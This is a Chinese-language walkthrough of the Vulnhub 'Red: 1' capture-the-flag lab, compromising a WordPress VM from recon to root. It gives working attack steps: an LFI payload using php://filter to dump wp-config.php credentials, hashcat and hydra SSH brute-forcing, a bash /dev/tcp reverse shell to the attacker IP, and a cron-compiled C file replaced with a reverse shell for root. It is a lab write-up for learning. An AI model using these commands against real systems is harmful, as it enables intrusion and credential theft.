title: 'Vulnhub-Red:1'
tags: Vulnhub
abbrlink: edfef24a

date: 2022-10-08 09:24:11

描述

  • Name: Red: 1
  • Date release: 27 Oct 2021
  • Author: hadrian3689
  • Series: Red

Red has taken over your system, are you able to regain control?

This works better on VirtualBox rather than VMware


修改网卡信息

  • nmap 扫不到信息,需要修改靶机的网卡信息

  • 在开启靶机时按shift键

  • rw single init=/bin/bash

  • 然后按下ctrl+x重启之后

  • 使用ip a命令查看网卡

  • 发现是ens33,然后修改一下配置文件

cd etc/netplan/
ls
nano ls查看的文件名
  • 将网卡信息改为ens33,保存后重启靶机
  • nano:使用快捷Ctrl+X,然后会提示输入Y保存修改、输入N放弃修改。
  • vi:首先需要按ESC键回到命令模式;然后输入:wq 保存文件并退出vi;最后回车即可。

nmap 信息收集

image-20221008101821208

kali  192.168.169.220
靶机  192.168.169.243

IP扫描

image-20221008101949528

80 先访问一下

image-20221008102156779

修改host

image-20221008102535075

windows: C:\Windows\System32\dirvers\etc\hosts
kali: /etc/hosts
```
192.168.169.243 redrocks.win
  • 页面正常

image-20221008102907054

后门

image-20221008112411305

还在找吗?也许你应该找米斯勒先生帮忙,但这并不重要,反正你用它什么也看不懂

image-20221008112718321

wpscan

  • 枚举用户
wpscan --url http://192.168.169.243/ --enumerate u

image-20221008104225638

SecLists

因为 WordPress 在 Apache PHP 上运行。所以应该是 php 后门,用目录扫描看看能不能扫出疑似后门的文件,所以用 SecLists 里的 CommonBackdoors-PHP.fuzz.txt 扫。

SecLists是OWASP维护的一个安全信息列表集合。该集合包括了用于渗透的各种类型的列表。这些列表包含了237个字典文件以及常用的Web Shell攻击载荷。字典文件类型众多,包括用户名、密码、域名、敏感数据特征码、模糊测试载荷等

apt install seclists
  • 简单说SecLists是一个包含众多字典的一个文件夹

Gobuster

  • Gobuster这款工具基于Go编程语言开发,广大研究人员可使用该工具来对目录、文件、DNS和VHost等对象进行暴力破解攻击。
dir:传统的目录爆破模式;

dns:DNS子域名爆破模式;

vhost:虚拟主机爆破模式;
  • 使用SecLists的字典-w字典路径
gobuster dir -u http://redrocks.win -w /usr/share/seclists/Discovery/Web-Content/CommonBackdoors-PHP.fuzz.txt

image-20221008110459818

NetworkFileManagerPHP.php

image-20221008110800060

wfuzz

  • 发现是个 webshell 后门,扫描结果状态码是 500,这个脚本可能存在 LFI
  • LFI(Local File Inclusion)本地文件包含漏洞,指的是能打开并包含本地文件的漏洞。大部分情况下遇到的文件包含漏洞都是LFI。
  • 使用 wfuzz 测试一下参数:
常用命令:
--hc 过滤状态码
--sc 需要显示的状态码
-c 带颜色显示
-w 指定使用字典
-z 设置payload 【比如:字典】
   -z file,1.txt(以文件形式,导入1.txt)
   -z range,1-10(以范围形式,1到10)
   -z list,1-2-3-10(列表形式,1,2,3,10)
   -t 设置线程 默认10
-s 请求间隔时间
-d 设定POST量
   -d “uname=admin&passwd=admin”
-b 设定cookie量
   -b “cookie=”
-H 参数来指定HTTP请求的请求头,多次指定多次使用。
   -H “User-Agent: firfox”
-f 输出到文件的格式,格式有raw,json,csv,magictree,html
-f /tmp/1,html (将结果输出到tmp目录下的1,以html格式)
-X 设定请求方法
   -X GET
-R 递归深度,探测目录很好
递归深度为1也就是说当发现某一个目录存在的时候,在存在目录下再递归一次字典。
   -R 1(深度为1)
显示或隐藏信息
使用 --hc --hl --hw --hh 可以隐藏相应结果
--hc 503:隐藏响应码为503的
--hl 20:隐藏响应信息行数为20行的
--hw 30:隐藏响应信息中字数为30的
--hh 50:隐藏响应信息中字符数为50的
使用 --sc --sl --sw --sh 可以特别显示相应结果
--sc 405:显示响应码405
剩下的参考隐藏结果的操作
```
wfuzz -c -w /usr/share/seclists/Discovery/Web-Content/burp-parameter-names.txt -u http://redrocks.win/NetworkFileManagerPHP.php?FUZZ=ls
  • 别人的图

image-20221008113328827

image-20221008113504265


  • 用php伪协议读取文件源码
http://redrocks.win/NetworkFileManagerPHP.php?key=php://filter/read=convert.base64-encode/resource=NetworkFileManagerPHP.php

image-20221008113715054

PD9waHAKICAgJGZpbGUgPSAkX0dFVFsna2V5J107CiAgIGlmKGlzc2V0KCRmaWxlKSkKICAgewogICAgICAgaW5jbHVkZSgiJGZpbGUiKTsKICAgfQogICBlbHNlCiAgIHsKICAgICAgIGluY2x1ZGUoIk5ldHdvcmtGaWxlTWFuYWdlclBIUC5waHAiKTsKICAgfQogICAvKiBWR2hoZENCd1lYTnpkMjl5WkNCaGJHOXVaU0IzYjI0bmRDQm9aV3h3SUhsdmRTRWdTR0Z6YUdOaGRDQnpZWGx6SUhKMWJHVnpJR0Z5WlNCeWRXeGxjdz09ICovCj8+Cgo=
  • 解密

image-20221008114205874


  • 注释
VGhhdCBwYXNzd29yZCBhbG9uZSB3b24ndCBoZWxwIHlvdSEgSGFzaGNhdCBzYXlzIHJ1bGVzIGFyZSBydWxlcw==
  • 解密
That password alone won't help you! Hashcat says rules are rules
         仅仅是这个密码并不能帮助你! Hashcat说规则就是规则

image-20221008114600687


  • 我们之前发现这个网站是wordpress搭建的,我们查看一下wp-config.php这个文件
http://redrocks.win/NetworkFileManagerPHP.php?key=php://filter/read=convert.base64-encode/resource=wp-config.php

image-20221008115043224

PD9waHANCi8qKg0KICogVGhlIGJhc2UgY29uZmlndXJhdGlvbiBmb3IgV29yZFByZXNzDQogKg0KICogVGhlIHdwLWNvbmZpZy5waHAgY3JlYXRpb24gc2NyaXB0IHVzZXMgdGhpcyBmaWxlIGR1cmluZyB0aGUgaW5zdGFsbGF0aW9uLg0KICogWW91IGRvbid0IGhhdmUgdG8gdXNlIHRoZSB3ZWIgc2l0ZSwgeW91IGNhbiBjb3B5IHRoaXMgZmlsZSB0byAid3AtY29uZmlnLnBocCINCiAqIGFuZCBmaWxsIGluIHRoZSB2YWx1ZXMuDQogKg0KICogVGhpcyBmaWxlIGNvbnRhaW5zIHRoZSBmb2xsb3dpbmcgY29uZmlndXJhdGlvbnM6DQogKg0KICogKiBNeVNRTCBzZXR0aW5ncw0KICogKiBTZWNyZXQga2V5cw0KICogKiBEYXRhYmFzZSB0YW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JVRw0KICogaW4gdGhlaXIgZGV2ZWxvcG1lbnQgZW52aXJvbm1lbnRzLg0KICoNCiAqIEZvciBpbmZvcm1hdGlvbiBvbiBvdGhlciBjb25zdGFudHMgdGhhdCBjYW4gYmUgdXNlZCBmb3IgZGVidWdnaW5nLA0KICogdmlzaXQgdGhlIGRvY3VtZW50YXRpb24uDQogKg0KICogQGxpbmsgaHR0cHM6Ly93b3JkcHJlc3Mub3JnL3N1cHBvcnQvYXJ0aWNsZS9kZWJ1Z2dpbmctaW4td29yZHByZXNzLw0KICovDQpkZWZpbmUoICdXUF9ERUJVRycsIGZhbHNlICk7DQoNCi8qIEFkZCBhbnkgY3VzdG9tIHZhbHVlcyBiZXR3ZWVuIHRoaXMgbGluZSBhbmQgdGhlICJzdG9wIGVkaXRpbmciIGxpbmUuICovDQoNCg0KDQovKiBUaGF0J3MgYWxsLCBzdG9wIGVkaXRpbmchIEhhcHB5IHB1Ymxpc2hpbmcuICovDQoNCi8qKiBBYnNvbHV0ZSBwYXRoIHRvIHRoZSBXb3JkUHJlc3MgZGlyZWN0b3J5LiAqLw0KaWYgKCAhIGRlZmluZWQoICdBQlNQQVRIJyApICkgew0KCWRlZmluZSggJ0FCU1BBVEgnLCBfX0RJUl9fIC4gJy8nICk7DQp9DQoNCi8qKiBTZXRzIHVwIFdvcmRQcmVzcyB2YXJzIGFuZCBpbmNsdWRlZCBmaWxlcy4gKi8NCnJlcXVpcmVfb25jZSBBQlNQQVRIIC4gJ3dwLXNldHRpbmdzLnBocCc7DQo= 
  • base64解码得到
/**
* The base configuration for WordPress
*
* The wp-config.php creation script uses this file during the installation.
* You don't have to use the web site, you can copy this file to "wp-config.php"
* and fill in the values.
*
* This file contains the following configurations:
*
* * MySQL settings
* * Secret keys
* * Database table prefix
* * ABSPATH
*
* @link https://wordpress.org/support/article/editing-wp-config-php/
*
* @package WordPress
*/
// ** MySQL settings - You can get this info from your web host ** //
/** The name of the database for WordPress */
define( 'DB_NAME', 'wordpress' );

/** MySQL database username */
define( 'DB_USER', 'john' );

/** MySQL database password */
define( 'DB_PASSWORD', 'R3v_m4lwh3r3_k1nG!!' );

/** MySQL hostname */
define( 'DB_HOST', 'localhost' );

/** Database Charset to use in creating database tables. */
define( 'DB_CHARSET', 'utf8' );

/** The Database Collate type. Don't change this if in doubt. */
define( 'DB_COLLATE', '' );

define('FS_METHOD', 'direct');

define('WP_SITEURL', 'http://redrocks.win');
define('WP_HOME', 'http://redrocks.win');

/**#@+
* Authentication unique keys and salts.
*
* Change these to different unique phrases! You can generate these using
* the {@link https://api.wordpress.org/secret-key/1.1/salt/ WordPress.org secret-key service}.
*
* You can change these at any point in time to invalidate all existing cookies.
* This will force all users to have to log in again.
*
* @since 2.6.0
*/
define('AUTH_KEY', '2uuBvc8SO5{>UwQ<^5V5[UHBw%N}-BwWqw|><*HfBwJ( $&%,(Zbg/jwFkRHf~v|');
define('SECURE_AUTH_KEY', 'ah}define('LOGGED_IN_KEY', '[a!K}D<7-vB3Y&x_<3e]Wd+J]!o+A:U@QUZ-RU1]tO@/N}b}R@+/$+u*pJ|Z(xu-');
define('NONCE_KEY', ' g4|@~:h,K29D}$FL-f/eujw(VT;8wa7xRWpVR: >},]!Ez.48E:ok 8Ip~5_o+a');
define('AUTH_SALT', 'a;,O<~vbpL+|@W+!Rs1o,T$r9(LwaXI =I7ZW$.Z[+BQ=B6QG7nr+w_bQ6B]5q4c');
define('SECURE_AUTH_SALT', 'GkU:% Lo} 9}w38i:%]=uq&J6Z&RR#v2vsB5a_ +.[us;6mE+|$x*+ D*Ke+:Nt:');
define('LOGGED_IN_SALT', '#`F9&pm_jY}N3y0&8Z]EeL)z,$39,yFc$Nq`jGOMT_aM*`<$9A:9define('NONCE_SALT', 'hTlFE*6zlZMbqluz)hf:-:x-:l89fC4otci;38|i`7eU1;+k[!0[ZG.oCt2@-y3X');

/**#@-*/

/**
* WordPress database table prefix.
*
* You can have multiple installations in one database if you give each
* a unique prefix. Only numbers, letters, and underscores please!
*/
$table_prefix = 'wp_';

/**
* For developers: WordPress debugging mode.
*
* Change this to true to enable the display of notices during development.
* It is strongly recommended that plugin and theme developers use WP_DEBUG
* in their development environments.
*
* For information on other constants that can be used for debugging,
* visit the documentation.
*
* @link https://wordpress.org/support/article/debugging-in-wordpress/
*/
define( 'WP_DEBUG', false );

/* Add any custom values between this line and the "stop editing" line. */



/* That's all, stop editing! Happy publishing. */

/** Absolute path to the WordPress directory. */
if ( ! defined( 'ABSPATH' ) ) {
define( 'ABSPATH', __DIR__ . '/' );
}

/** Sets up WordPress vars and included files. */
require_once ABSPATH . 'wp-settings.php';

image-20221008121211748

  • 用hashcat的规则去生成一个密码本,然后爆破密码登录
hashcat --stdout pass.txt -r /usr/share/hashcat/rules/best64.rule > passlist.txt
```
hashcat Device #1: Not enough allocatable device memory for this attack.

修改kali虚拟机内核为单核,内存4G即可。

image-20221008122400394

  • 使用解出来的密码本进行ssh爆破:

    hydra -l john  -P passlist.txt  192.168.169.243 ssh
    

image-20221008122721179

[22][ssh] host: 192.168.169.243   login: john   password: !!Gn1k_3r3hwl4m_v3R

提权

image-20221008122936440

ssh的密码随机 有时效性
  • 查看文件

image-20221008124350280

image-20221008124431308

image-20221008125008964

  • 正在查找的时候,突然被断开了

  • 再使用之前爆破出来的密码已经不能用了,只能重新爆破

  • 会自动修改密码,我们去反弹一个shell,让他就算修改了密码也不会被T出会话,先在攻击监听一下6666端口
    然后去靶机连接

bash -c "bash -i >& /dev/tcp/192.168.169.220/6666 0>&1"

image-20221008125310324

python3 -c 'import pty;pty.spawn("/bin/bash")'

image-20221008130131125


虽然 Red team 的信息还在弹,但是已经不会被断开连接了。下载并运行 pspy64s 检查,看看系统在跑哪些进程。下载pspy64s,赋权并运行:

image-20221008130630605

image-20221008130641531

  • 这应该是他对系统的后门,查看一下这个 supersecretfileuc.c 文件:

image-20221008130658547

image-20221008130704749

发现是定时弹出的脚本,可以上传一个 C 编写 shell,替代 supersecretfileuc.c 文件,然后等待 shell 连接:

先删除 /var/www/wordpress/.git/supersecretfileuc.c 和 rev 文件:

image-20221008130725811

  • 写入 C 编写的 shell 替换掉原来的 supersecretfileuc.c,kali 上开启 http 服务上传:

image-20221008130758843

  • 稍作改动: execve(“sh”, argv, NULL); 改成 execve(“/bin/bash”, argv, NULL);

image-20221008130816583

  • 靶机获取文件:

image-20221008130835197

  • 上传成功,nc 监听:

image-20221008130849732

  • 等了一会,nc 连接成功,获取到 root 权限,查看 flag:

image-20221008130905261